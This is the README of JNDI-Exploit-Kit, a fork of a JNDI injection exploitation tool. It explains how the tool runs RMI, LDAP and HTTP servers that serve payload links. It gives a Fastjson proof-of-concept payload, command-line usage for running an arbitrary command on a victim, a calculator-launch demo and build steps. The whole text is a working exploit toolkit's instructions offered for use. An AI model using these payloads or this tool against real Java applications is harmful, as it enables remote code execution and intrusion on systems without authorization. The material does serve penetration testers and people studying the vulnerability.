JNDI-Exploit-Kit

Disclaimer

This is a forked modified version of the great exploitation tool created by @welk1n (https://github.com/welk1n/JNDI-Injection-Exploit). Here is what I've updated on his tool:

Materials about JNDI Injection

Description

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.

Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability.

Usage

Run as

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

Examples

Local demo:

  1. Start the tool like this:

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
    

    Screenshot:

  2. Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

    In this example, it looks like this:

    public static void main(String[] args) throws Exception{
        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1/fgf4fp");
    }
    

    then when we run this code, the command will be executed ,

    and the log will be printed in shell:

Installation

We can select one of the two methods to get the jar.

  1. Download the latest jar from Realease.

  2. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).

    $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
    
    $ cd JNDI-Injection-Exploit
    
    $ mvn clean package -DskipTests
